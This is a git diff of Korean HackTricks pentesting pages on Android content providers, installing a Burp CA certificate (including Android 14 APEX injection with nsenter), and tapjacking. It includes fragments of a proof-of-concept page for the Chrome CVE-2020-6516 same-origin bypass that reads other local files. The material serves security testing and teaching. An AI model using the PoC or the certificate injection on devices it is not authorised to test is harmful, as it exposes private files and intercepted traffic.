* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -27,10 +27,13 @@ $ content query --uri content://media/external/file
|
|||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
콘텐츠 제공자는 자체 개인 네임스페이스에 격리됩니다. 제공자에 대한 액세스는 특정 `content://` URI가 필요합니다. 제공자에 액세스하기 위한 경로 정보는 애플리케이션 매니페스트나 Android 프레임워크의 소스 코드에서 얻을 수 있습니다.
|
||||
### 콘텐츠 프로바이더
|
||||
|
||||
### Chrome의 콘텐츠 제공자 액세스
|
||||
Android의 Chrome은 `content://` 스키마를 통해 콘텐츠 제공자에 액세스할 수 있어서, 제3자 애플리케이션이 내보낸 사진이나 문서와 같은 리소스에 액세스할 수 있습니다. 이를 설명하기 위해 파일을 미디어 저장소에 삽입한 다음 Chrome을 통해 액세스할 수 있습니다:
|
||||
콘텐츠 프로바이더는 고유한 개인 네임스페이스에 격리됩니다. 프로바이더에 액세스하려면 특정 `content://` URI가 필요합니다. 프로바이더에 액세스하는 경로에 대한 정보는 애플리케이션 매니페스트나 Android 프레임워크의 소스 코드에서 얻을 수 있습니다.
|
||||
|
||||
### Chrome의 콘텐츠 프로바이더 액세스
|
||||
|
||||
Android의 Chrome은 `content://` 스키마를 통해 콘텐츠 프로바이더에 액세스할 수 있어서, 제3자 애플리케이션이 내보낸 사진이나 문서와 같은 리소스에 액세스할 수 있습니다. 이를 설명하기 위해 파일을 미디어 저장소에 삽입한 다음 Chrome을 통해 액세스할 수 있습니다:
|
||||
|
||||
미디어 저장소에 사용자 지정 항목 삽입:
|
||||
```bash
|
||||
|
@ -40,7 +43,7 @@ content insert --uri content://media/external/file \
|
|||
--bind _data:s:/storage/emulated/0/test.txt \
|
||||
--bind mime_type:s:text/plain
|
||||
```
|
||||
새로 삽입된 파일의 식별자를 발견하십시오:
|
||||
새로 삽입된 파일의 식별자를 발견하세요:
|
||||
```bash
|
||||
content query --uri content://media/external/file \
|
||||
--projection _id,_data | grep test.txt
|
||||
|
@ -54,13 +57,13 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
|||
```
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||
|
||||
_Same Origin Policy_ (SOP)는 브라우저의 보안 프로토콜로, 교차 출처 리소스 공유 (CORS) 정책에 명시적으로 허용되지 않는 한 웹 페이지가 다른 출처의 리소스와 상호 작용하는 것을 제한합니다. 이 정책은 정보 누출과 교차 사이트 요청 위조를 방지하기 위한 것입니다. Chrome은 `content://`을 로컬 스키마로 간주하여 보다 엄격한 SOP 규칙을 적용하며, 각 로컬 스키마 URL을 별도의 출처로 처리합니다.
|
||||
_Same Origin Policy_ (SOP)는 브라우저의 보안 프로토콜로, 교차 출처 리소스 공유 (CORS) 정책에 명시적으로 허용되지 않는 한 웹 페이지가 다른 출처의 리소스와 상호 작용하는 것을 제한합니다. 이 정책은 정보 누출과 교차 사이트 요청 위조를 방지하기 위한 것입니다. Chrome은 `content://`을 로컬 스키마로 간주하여 각 로컬 스키마 URL을 별도의 출처로 취급하는 엄격한 SOP 규칙을 시행합니다.
|
||||
|
||||
그러나 CVE-2020-6516은 Chrome의 취약점으로, `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있게 했습니다. 실제로 `content://` URL에서 로드된 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 액세스할 수 있었으며, 특히 Android 10 이전 버전을 실행하는 Android 기기에서는 범위 지정된 저장소가 구현되지 않았기 때문에 이는 중요한 보안 문제였습니다.
|
||||
그러나 CVE-2020-6516은 Chrome의 취약점으로, `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있게 했습니다. 실제로, `content://` URL에서 로드된 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 액세스할 수 있었으며, 이는 특히 Android 10 이전 버전을 실행하는 Android 기기에서 주요한 보안 문제였습니다. 여기서는 범위 지정된 저장소가 구현되지 않았습니다.
|
||||
|
||||
아래의 증명 코드는 이 취약점을 보여주며, HTML 문서가 **/sdcard**에 업로드된 후 미디어 저장소에 추가되어 JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일의 내용에 액세스하고 표시하여 SOP 규칙을 우회합니다.
|
||||
아래의 증명 코드는 이 취약점을 보여줍니다. HTML 문서는 **/sdcard**에 업로드된 후 미디어 저장소에 추가되며, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일의 내용에 액세스하고 표시하여 SOP 규칙을 우회합니다.
|
||||
|
||||
증명 코드 HTML:
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -89,20 +92,20 @@ xhr.send();
|
|||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# 버프 인증서 설치
|
||||
# Burp 인증서 설치
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF 형식으로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 가상 머신에서
|
||||
|
||||
먼저 버프에서 Der 인증서를 다운로드해야 합니다. 이를 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 에서 수행할 수 있습니다.
|
||||
먼저 Burp에서 Der 인증서를 다운로드해야 합니다. 이를 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 에서 수행할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Der 형식으로 인증서를 내보내고**, 이를 **Android가 이해할 수 있는 형태로 변환**해야 합니다. **AVD의 Android 기계에 버프 인증서를 구성하려면** 이 기계를 **`-writable-system`** 옵션으로 실행해야 합니다.\
|
||||
**Der 형식으로 인증서를 내보내고**, 이를 **Android가 이해할 수 있는 형식으로 변환**해야 합니다. **AVD의 Android 기기에서 burp 인증서를 구성하려면** 이 기기를 **`-writable-system`** 옵션으로 **실행**해야 합니다.\
|
||||
예를 들어 다음과 같이 실행할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -33,7 +34,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
그런 다음, **버프 인증서를 구성하려면**:
|
||||
다음으로, **버프 인증서를 구성하려면**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -52,35 +53,35 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
## Magisc 사용
|
||||
|
||||
만약 **Magisc로 기기를 루팅**했고(어쩌면 에뮬레이터), **파일 시스템이 읽기 전용**이어서 쓰기 가능한 상태로 다시 마운트할 수 없어서 이전 **단계를 따를 수 없는 경우**, 다른 방법이 있습니다.
|
||||
만약 **Magisc로 기기를 루팅**했고(어쩌면 에뮬레이터), 이전 **단계를 따를 수 없는 경우**에는 Burp 인증서를 설치할 수 없는데 **파일 시스템이 읽기 전용**이기 때문에 쓰기 가능하게 다시 마운트할 수 없습니다. 다른 방법이 있습니다.
|
||||
|
||||
[**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)에서 설명된대로 다음을 수행해야 합니다:
|
||||
|
||||
1. **CA 인증서 설치**: DER 버프 인증서를 `.crt`로 확장자를 변경하여 모바일에 다운로드 폴더에 저장하고 `인증서 설치` -> `CA 인증서`로 이동하여 인증서를 **드래그 앤 드롭**합니다.
|
||||
1. **CA 인증서 설치**: DER Burp 인증서를 `.crt`로 확장자를 변경하여 모바일에 다운로드 폴더에 저장하고 `인증서 설치` -> `CA 인증서`로 이동하여 인증서를 **드래그&드롭**하십시오.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다.
|
||||
* `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인하십시오.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **시스템에서 신뢰할 수 있게 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` 파일)을 다운로드하고, 이를 폰에 **드래그 앤 드롭**한 후, 폰의 Magics 앱으로 이동하여 `모듈` 섹션으로 이동하여 `.zip` 모듈을 선택하고 설치한 후 폰을 **재부팅**합니다.
|
||||
2. **시스템 신뢰 설정**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` 파일)을 다운로드하고, 이를 폰에 **드래그&드롭**하여 폰의 Magics 앱으로 이동하여 `모듈` 섹션으로 이동한 후 `저장소에서 설치`를 클릭하여 `.zip` 모듈을 선택하고 설치한 후 폰을 **재부팅**하십시오.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인합니다.
|
||||
* 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인하십시오.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Android 14 이후
|
||||
|
||||
최신 Android 14 릴리스에서 시스템 신뢰 CA(인증 기관) 인증서 처리 방식에 중요한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 위치하여 루트 권한을 가진 사용자가 접근하고 수정할 수 있었으며, 이를 통해 즉시 시스템 전체에 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동되었는데, 이는 **`/apex`** 경로 내의 디렉토리로서 기본적으로 변경할 수 없습니다.
|
||||
최신 Android 14 릴리스에서 시스템 신뢰 CA(인증 기관) 인증서 처리 방식에 중요한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 위치했으며 루트 권한을 가진 사용자가 접근하고 수정할 수 있어 시스템 전체에 즉시 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동되었는데, 이는 본질적으로 변경할 수 없는 **`/apex`** 경로 내의 디렉토리입니다.
|
||||
|
||||
**APEX cacerts 경로**를 쓰기 가능한 상태로 다시 마운트하려는 시도는 실패로 끝나며, 시스템은 이러한 작업을 허용하지 않습니다. 심지어 디렉토리를 임시 파일 시스템(tmpfs)으로 언마운트하거나 오버레이하더라도 불변성을 우회할 수 없으며, 응용 프로그램은 파일 시스템 수준의 변경과 관계없이 원래의 인증서 데이터에 계속 액세스합니다. 이러한 강건함은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있기 때문에 발생합니다. 이는 **`/apex`** 디렉토리 내의 수정 사항이 다른 프로세스에 영향을 미치지 않도록 보장합니다.
|
||||
**APEX cacerts 경로**를 쓰기 가능하게 다시 마운트하려는 시도는 실패로 끝나며 시스템이 이러한 작업을 허용하지 않습니다. 심지어 디렉토리를 임시 파일 시스템(tmpfs)으로 언마운트하거나 오버레이하더라도 불변성을 우회할 수 없습니다. 파일 시스템 수준에서의 변경에 관계없이 응용 프로그램은 여전히 원래의 인증서 데이터에 액세스합니다. 이러한 탄력성은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있기 때문에 발생합니다. 이는 **`/apex`** 디렉토리 내의 수정 사항이 다른 프로세스에 영향을 미치지 않도록 보장합니다.
|
||||
|
||||
Android의 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 사용하여 응용 프로그램 프로세스를 시작하는데, 이는 다른 프로세스로부터 이 디렉토리의 변경 사항을 격리시킵니다.
|
||||
|
||||
그러나 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 해결책이 존재합니다. 이는 **`/apex`**를 수동으로 다시 마운트하여 PRIVATE 전파를 제거하여 쓰기 가능하게 만드는 것을 포함합니다. 이 프로세스에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, **`/apex/com.android.conscrypt`** 디렉토리를 언마운트하여 읽기 전용 제약을 제거한 후, 내용을 **`/apex`** 내의 원래 위치로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치가 필요합니다. 이러한 변경 사항을 시스템 전반에 적용하려면 `system_server`를 다시 시작하는 것이 좋으며, 이는 모든 응용 프로그램을 다시 시작하고 시스템을 일관된 상태로 가져옵니다.
|
||||
그러나 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 해결 방법이 있습니다. 이는 **`/apex`**를 수동으로 다시 마운트하여 PRIVATE 전파를 제거하여 쓰기 가능하게 만드는 것을 포함합니다. 이 프로세스에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트하여 읽기 전용 제약 조건을 제거한 다음 내용을 **`/apex`** 내의 원래 위치로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치가 필요합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 다시 시작하는 것이 좋으며, 이는 모든 응용 프로그램을 다시 시작하고 시스템을 일관된 상태로 가져옵니다.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -140,18 +141,18 @@ echo "System certificate injected"
|
|||
```
|
||||
### NSEnter를 통한 바인드 마운트
|
||||
|
||||
1. **쓰기 가능한 디렉토리 설정**: 먼저, 기존의 APEX 시스템 인증서 디렉토리 위에 `tmpfs`를 마운트하여 쓰기 가능한 디렉토리를 설정합니다. 다음 명령을 사용하여 이를 달성할 수 있습니다:
|
||||
1. **쓰기 가능한 디렉토리 설정**: 먼저, 기존의 비-APEX 시스템 인증서 디렉토리 위에 `tmpfs`를 마운트하여 쓰기 가능한 디렉토리를 설정합니다. 다음 명령을 사용하여 이를 달성할 수 있습니다:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **CA 인증서 준비**: 쓰기 가능한 디렉토리 설정 후, 사용할 CA 인증서를 이 디렉토리로 복사해야 합니다. 이는 `/apex/com.android.conscrypt/cacerts/`에서 기본 인증서를 복사하는 것을 포함할 수 있습니다. 이 인증서들의 권한과 SELinux 레이블을 적절히 조정하는 것이 중요합니다.
|
||||
3. **Zygote를 위한 Bind Mounting**: `nsenter`를 활용하여 Zygote의 마운트 네임스페이스에 진입합니다. Android 애플리케이션을 시작하는 프로세스인 Zygote는 이 단계를 거쳐야 새로 구성된 CA 인증서를 사용하는 이후에 시작되는 모든 애플리케이션에 적용됩니다. 사용되는 명령어는 다음과 같습니다:
|
||||
3. **Zygote를 위한 Bind Mounting**: `nsenter`를 활용하여 Zygote의 마운트 네임스페이스로 진입합니다. Android 애플리케이션을 시작하는 프로세스인 Zygote는 이 단계를 거쳐야 새로 구성된 CA 인증서를 사용하는 모든 애플리케이션이 이후에 시작될 수 있습니다. 사용되는 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
이렇게하면 시작된 모든 새 앱이 업데이트된 CA 인증서 설정을 준수합니다.
|
||||
이렇게하면 시작된 모든 새 앱이 업데이트된 CA 인증서 설정을 준수하게 됩니다.
|
||||
|
||||
4. **실행 중인 앱에 변경 사항 적용하기**: 이미 실행 중인 앱에 변경 사항을 적용하려면 `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가서 유사한 바인드 마운트를 수행합니다. 필요한 명령어는 다음과 같습니다:
|
||||
4. **실행 중인 앱에 변경 사항 적용하기**: 이미 실행 중인 애플리케이션에 변경 사항을 적용하려면 `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가서 유사한 바인드 마운트를 수행합니다. 필요한 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
@ -161,20 +162,20 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
|||
|
||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로부터 영웅이 되는 AWS 해킹 배우기</strong></summary>
|
||||
<summary><strong>제로부터 AWS 해킹을 배우고 전문가가 되기까지</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,44 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter에서 **@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**탭재킹**은 **악성 애플리케이션이 희생자 애플리케이션 위에 위치하도록 하여** 시작되는 공격입니다. 희생자 앱이 시각적으로 가려지면 사용자 인터페이스가 사용자를 속이도록 설계되어 있으며, 사용자가 상호 작용하도록 유도하면서 해당 상호 작용을 희생자 앱으로 전달합니다.\
|
||||
사실 사용자가 희생자 앱에서 작업을 수행하고 있다는 것을 알 수 없게 만듭니다.
|
||||
**탭재킹**은 **악성 애플리케이션이 피해 애플리케이션 위에 위치하도록 하여** 시작되는 공격입니다. 피해 앱이 시각적으로 가려지면 사용자 인터페이스가 사용자를 속이도록 설계되어 상호 작용하도록 유도하면서 상호 작용을 피해 앱으로 전달합니다.\
|
||||
사용자가 실제로 피해 앱에서 작업을 수행하고 있다는 것을 알지 못하게 합니다.
|
||||
|
||||
### 탐지
|
||||
|
||||
이 공격에 취약한 앱을 탐지하려면 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다(인텐트 필터가 있는 활동은 기본적으로 내보냅니다). 내보낸 활동을 찾은 후 **해당 활동이 권한을 필요로 하는지 확인**해야 합니다. 이는 **악성 애플리케이션이 해당 권한이 필요**하기 때문입니다.
|
||||
이 공격에 취약한 앱을 탐지하려면 안드로이드 매니페스트에서 **내보낸 활동**을 검색해야 합니다(인텐트 필터가 있는 활동은 기본적으로 내보냅니다). 내보낸 활동을 찾은 후 **해당 활동이 권한을 필요로 하는지 확인**해야 합니다. 이는 **악성 애플리케이션도 해당 권한이 필요하기 때문**입니다.
|
||||
|
||||
### 보호
|
||||
|
||||
#### 안드로이드 12 (API 31,32) 이상
|
||||
|
||||
